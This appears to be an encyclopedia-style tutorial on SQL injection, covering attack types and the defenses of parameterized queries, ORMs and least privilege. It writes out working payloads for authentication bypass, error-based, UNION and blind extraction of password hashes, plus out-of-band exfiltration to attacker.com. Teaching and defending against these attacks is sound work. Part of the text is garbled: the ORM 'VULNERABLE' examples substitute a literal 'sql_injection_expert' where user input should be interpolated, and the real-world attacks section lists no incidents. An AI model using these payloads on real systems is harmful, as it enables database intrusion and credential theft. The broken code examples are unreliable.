SQL Injection

Introduction

SQL Injection (SQLi) is a code injection technique that exploits vulnerabilities in an application's interaction with its database. An attacker inserts or "injects" malicious SQL statements into input fields, URL parameters, or HTTP headers that are incorporated into database queries without proper sanitization. When the database engine executes the manipulated query, the attacker can read, modify, or delete data, bypass authentication, and in some cases execute operating system commands on the database server.

SQL injection has been the most prevalent and destructive web application vulnerability for over two decades. It topped the OWASP Top Ten list from its inception in 2003 through 2017, and remains a critical threat under the broader "Injection" category in the 2021 edition. Despite being well understood and entirely preventable, new SQL injection vulnerabilities are discovered daily in production applications.

The consequences of SQL injection are severe. Attackers have used SQLi to steal millions of credit card numbers (Heartland Payment Systems, 2008), exfiltrate entire user databases (LinkedIn, 2012), and even compromise government systems. The technique is a frequent starting point in larger attack chains, providing the initial foothold for data exfiltration, privilege escalation, and lateral movement.

"SQL injection is the cockroach of web security -- it has survived for over 25 years, it adapts to new environments, and despite our best efforts, it refuses to go away. The reason is simple: developers keep building queries by concatenating strings with user input." -- Jeff Williams, co-founder of OWASP and creator of the OWASP Top Ten

How SQL Injection Works

SQL injection occurs when an application constructs database queries by directly concatenating user-supplied input into the SQL string. The database engine cannot distinguish between the developer's intended SQL code and the attacker's injected SQL code -- it simply executes the entire string as a query.

# Vulnerable login query (PHP example)$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";# Normal input:# username: jane# password: secret123# Resulting query:SELECT * FROM users WHERE username = 'jane' AND password = 'secret123'# This works as intended -- returns the user only if both match# Malicious input:# username: admin' --# password: anything# Resulting query:SELECT * FROM users WHERE username = 'admin' --' AND password = 'anything'# The -- comments out the rest of the query# The attacker logs in as admin without knowing the password# Even more dangerous:# username: ' OR '1'='1# password: ' OR '1'='1# Resulting query:SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '' OR '1'='1'# '1'='1' is always true -- returns ALL users

The fundamental problem is that user input changes the structure of the SQL query, not just its data. The single quote character (') breaks out of the string literal context, and everything after it is interpreted as SQL code. This is why string concatenation for query construction is inherently unsafe.

In-Band SQL Injection

In-band SQL injection is the most common and easiest to exploit category. The attacker uses the same communication channel to both launch the attack and retrieve results. The injected query's output appears directly in the application's HTTP response.

Error-Based SQL Injection

Error-based SQLi relies on error messages returned by the database server to extract information. When the application displays detailed database errors to the user, the attacker can craft queries that intentionally cause errors containing useful data.

# Error-based SQLi (MySQL)# Input that triggers an informative error:' AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND(0)*2)) x FROM information_schema.tables GROUP BY x) a) --# The error message reveals the database name:# ERROR: Duplicate entry 'myappdb:1' for key 'group_key'# Extracting table names via error:' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))) --# Error reveals: XPATH syntax error: '~users'# Extracting column names:' AND EXTRACTVALUE(1, CONCAT(0x7e, (SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 0,1))) --# Error reveals: XPATH syntax error: '~password'

The defense against error-based SQLi is twofold: prevent the injection itself (parameterized queries) and never display raw database errors to users. Configure the application to show generic error messages while logging detailed errors server-side.

UNION-Based SQL Injection

UNION-based SQLi exploits the SQL UNION operator to append additional queries to the original query, combining the results. The attacker can extract data from any table in the database by appending a UNION SELECT that retrieves the desired columns.

# UNION-based SQLi# Original query (product search):SELECT name, price FROM products WHERE category = 'USER_INPUT'# Step 1: Determine the number of columns (using ORDER BY)' ORDER BY 1 -- (no error)' ORDER BY 2 -- (no error)' ORDER BY 3 -- (error: column 3 does not exist)# Result: query returns 2 columns# Step 2: Find which columns are displayed on the page' UNION SELECT 'test1', 'test2' --# If 'test1' and 'test2' appear on the page, both columns are visible# Step 3: Extract database version and current user' UNION SELECT version(), current_user() --# Page displays: "MySQL 8.0.32" and "webapp_user@localhost"# Step 4: Extract table names' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema = database() --# Page lists all tables: users, orders, payments, ...# Step 5: Extract sensitive data' UNION SELECT username, password FROM users --# Page displays usernames and password hashes

UNION attacks require the attacker to match the number of columns and compatible data types of the original query. Automated tools like sqlmap can detect these parameters automatically and extract entire databases within minutes.

Blind SQL Injection

Blind SQL injection occurs when the application is vulnerable to injection but does not display query results or database errors in the HTTP response. The attacker must infer information by observing differences in the application's behavior.

Boolean-based blind SQLi works by injecting conditions that alter the page content based on whether the condition is true or false:

# Boolean-based blind SQLi# The application shows a product page if the ID is valid:https://example.com/product?id=5# Test if injectable:https://example.com/product?id=5 AND 1=1 (page loads normally -- condition is true)https://example.com/product?id=5 AND 1=2 (page is blank -- condition is false)# Extract data one character at a time:# Is the first character of the database name greater than 'm'??id=5 AND (SELECT SUBSTRING(database(),1,1)) > 'm'# Page is blank (false) -- first character is 'a' through 'm'?id=5 AND (SELECT SUBSTRING(database(),1,1)) > 'f'# Page loads (true) -- first character is 'g' through 'm'?id=5 AND (SELECT SUBSTRING(database(),1,1)) = 'i'# Page loads (true) -- first character is 'i'# Repeat for each character of each value to extract

Time-based blind SQLi is used when the application returns identical responses regardless of the query result. The attacker injects time delays (using functions like SLEEP() or BENCHMARK()) conditional on data values:

# Time-based blind SQLi# If the database name starts with 'i', wait 5 seconds:?id=5 AND IF(SUBSTRING(database(),1,1)='i', SLEEP(5), 0)# Response takes 5 seconds -- the condition is true# Response is immediate -- the condition is false# Extract the admin password hash character by character:?id=5 AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a', SLEEP(3), 0)# Automated tools use binary search to minimize the number of requests# For each character: ~7 requests (log2 of character space)# For a 32-character hash: ~224 requests total

Blind SQLi is slower than in-band SQLi but equally dangerous. Automated tools handle the tedious character-by-character extraction efficiently. A skilled attacker (or tool) can extract an entire database through blind SQLi given enough time.

Out-of-Band SQL Injection

Out-of-band (OOB) SQL injection uses a different channel to exfiltrate data, typically DNS or HTTP requests from the database server to an attacker-controlled server. OOB techniques are used when in-band and blind methods are impractical -- for example, when responses are completely identical regardless of the query, or when time-based techniques are unreliable due to network latency.

# Out-of-band SQLi examples# MySQL: DNS exfiltration via LOAD_FILE' UNION SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE username='admin'), '.attacker.com\\a')) --# The database server makes a DNS query to:# [admin_password_hash].attacker.com# The attacker reads the password from their DNS logs# Microsoft SQL Server: DNS exfiltration via xp_dirtree'; EXEC master..xp_dirtree '\\' + (SELECT TOP 1 password FROM users) + '.attacker.com\a' --# Oracle: HTTP exfiltration via UTL_HTTP' UNION SELECT UTL_HTTP.REQUEST('http://attacker.com/exfil?data=' || (SELECT password FROM users WHERE ROWNUM=1)) FROM dual --

OOB SQLi requires specific database configurations and privileges (such as the ability to make network requests from the database server). Many hardened environments disable these capabilities, but they remain available in default configurations of several major database systems.

Parameterized Queries

Parameterized queries (also called prepared statements) are the definitive defense against SQL injection. Instead of concatenating user input into the SQL string, parameterized queries send the SQL structure and the data values separately. The database engine compiles the query structure first, then binds the parameters as pure data values -- they can never be interpreted as SQL code.

# VULNERABLE: String concatenationquery = "SELECT * FROM users WHERE username = '" + username + "'"# SECURE: Parameterized queries in every major language# Python (with psycopg2 for PostgreSQL)cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s", (username, password))# Node.js (with pg for PostgreSQL)const result = await pool.query( 'SELECT * FROM users WHERE username = $1 AND password = $2', [username, password]);# Java (with PreparedStatement)PreparedStatement stmt = conn.prepareStatement( "SELECT * FROM users WHERE username = ? AND password = ?");stmt.setString(1, username);stmt.setString(2, password);ResultSet rs = stmt.executeQuery();# Go (with database/sql)row := db.QueryRow("SELECT * FROM users WHERE username = $1 AND password = $2", username, password)# PHP (with PDO)$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");$stmt->execute(['username' => $username, 'password' => $password]);# C# (.NET with SqlCommand)var cmd = new SqlCommand("SELECT * FROM users WHERE username = @user AND password = @pass", conn);cmd.Parameters.AddWithValue("@user", username);cmd.Parameters.AddWithValue("@pass", password);

"There is exactly one reliable defense against SQL injection: parameterized queries. Everything else -- escaping, validation, WAFs -- is a supplementary measure that can be bypassed. If your application constructs SQL by concatenating strings with user input, it is vulnerable. Period." -- OWASP SQL Injection Prevention Cheat Sheet

ORMs and Query Builders

Object-Relational Mappers (ORMs) such as SQLAlchemy, ActiveRecord, GORM, Sequelize, and Entity Framework generate parameterized queries by default when used properly. However, ORMs do not automatically eliminate SQLi risk -- most provide mechanisms for raw SQL that reintroduce the vulnerability.

# SAFE: ORM query methods use parameterized queries internally# Python (SQLAlchemy)user = session.query(User).filter(User.username == username).first()# Ruby (ActiveRecord)user = User.find_by(username: username)# Node.js (Sequelize)const user = await User.findOne({ where: { username: username } });# Go (GORM)var user Userdb.Where("username = ?", username).First(&user)# ---# DANGEROUS: Raw SQL in ORMs -- vulnerable if not parameterized# Python (SQLAlchemy) -- VULNERABLEsession.execute(f"SELECT * FROM users WHERE username = 'sql_injection_expert'")# Python (SQLAlchemy) -- SAFE (parameterized raw SQL)session.execute(text("SELECT * FROM users WHERE username = :name"), {"name": username})# Ruby (ActiveRecord) -- VULNERABLEUser.where("username = '#sql_injection_expert'")# Ruby (ActiveRecord) -- SAFEUser.where("username = ?", username)# Node.js (Sequelize) -- VULNERABLEsequelize.query(`SELECT * FROM users WHERE username = '$sql_injection_expert'`)# Node.js (Sequelize) -- SAFEsequelize.query("SELECT * FROM users WHERE username = :username", { replacements: { username: username } })

The critical rule is: never use string interpolation or concatenation when constructing queries, even within an ORM. Always use the ORM's built-in query methods or parameterized raw SQL. Code reviews should flag any instance of template literals or string concatenation in database query code.

Defense in Depth

While parameterized queries are the primary defense, a comprehensive security strategy employs multiple layers of protection:

• Principle of least privilege: The database user that the application connects with should have only the permissions it needs. A web application rarely needs DROP TABLE, CREATE USER, or FILE privileges. Use separate database accounts for read and write operations if possible.
• Input validation: Validate all input against expected patterns. If a field should contain a numeric ID, reject anything that is not a number. Use allowlists (not denylists) for values that must be incorporated into query structure (table names, column names, sort order).
• Error handling: Never expose raw database error messages to users. Log detailed errors server-side and return generic error messages to the client. Database error messages can reveal table names, column names, query structure, and database version.
• Web Application Firewall (WAF): A WAF can detect and block many SQLi patterns in real time. It is not a substitute for secure coding but provides an additional layer, especially for legacy applications that cannot be easily patched.
• Stored procedures: Encapsulate database logic in stored procedures that only accept parameters. This limits the SQL that the application can execute, though stored procedures themselves must use parameterized queries internally.
• Regular security testing: Perform automated scanning and manual penetration testing to identify SQLi vulnerabilities. Tools like sqlmap, Burp Suite, and OWASP ZAP can detect injection points that code review might miss.

# Least privilege database configuration (PostgreSQL)-- Create a restricted application userCREATE USER webapp_reader WITH PASSWORD 'strong_random_password';GRANT CONNECT ON DATABASE myapp TO webapp_reader;GRANT USAGE ON SCHEMA public TO webapp_reader;GRANT SELECT ON ALL TABLES IN SCHEMA public TO webapp_reader;-- Create a separate user for write operationsCREATE USER webapp_writer WITH PASSWORD 'another_strong_password';GRANT CONNECT ON DATABASE myapp TO webapp_writer;GRANT USAGE ON SCHEMA public TO webapp_writer;GRANT SELECT, INSERT, UPDATE ON ALL TABLES IN SCHEMA public TO webapp_writer;-- Note: no DELETE, DROP, ALTER, or CREATE permissions-- Revoke dangerous permissionsREVOKE ALL ON SCHEMA pg_catalog FROM webapp_reader, webapp_writer;REVOKE EXECUTE ON ALL FUNCTIONS IN SCHEMA public FROM webapp_reader;

Real-World Attacks

SQL injection has been responsible for some of the largest data breaches in history. These incidents demonstrate that SQLi vulnerabilities exist even in organizations with significant security resources.

A common pattern in these breaches is that the SQL injection vulnerability existed in a legacy or forgotten component of the application. The main application may have been well-secured, but an old administration panel, a deprecated API endpoint, or a third-party plugin provided the entry point. Comprehensive asset inventory and security testing across all components -- not just the main application -- is essential.

References

• OWASP Foundation. (2023). OWASP SQL Injection Prevention Cheat Sheet. OWASP.
• OWASP Foundation. (2021). OWASP Top Ten 2021: A03 Injection. OWASP.
• Clarke, J. (2012). SQL Injection Attacks and Defense, 2nd Edition. Syngress.
• Halfond, W. et al. (2006). "A Classification of SQL Injection Attacks and Countermeasures." IEEE International Symposium on Secure Software Engineering.
• Stampar, M. (2023). sqlmap: Automatic SQL Injection and Database Takeover Tool. GitHub.
• Stuttard, D. and Pinto, M. (2011). The Web Application Hacker's Handbook, 2nd Edition. Wiley.
• NIST. (2023). NVD: CWE-89 -- Improper Neutralization of Special Elements used in an SQL Command. NIST.
• Spett, K. (2005). "Blind SQL Injection: Are Your Web Applications Vulnerable?" SPI Dynamics Whitepaper.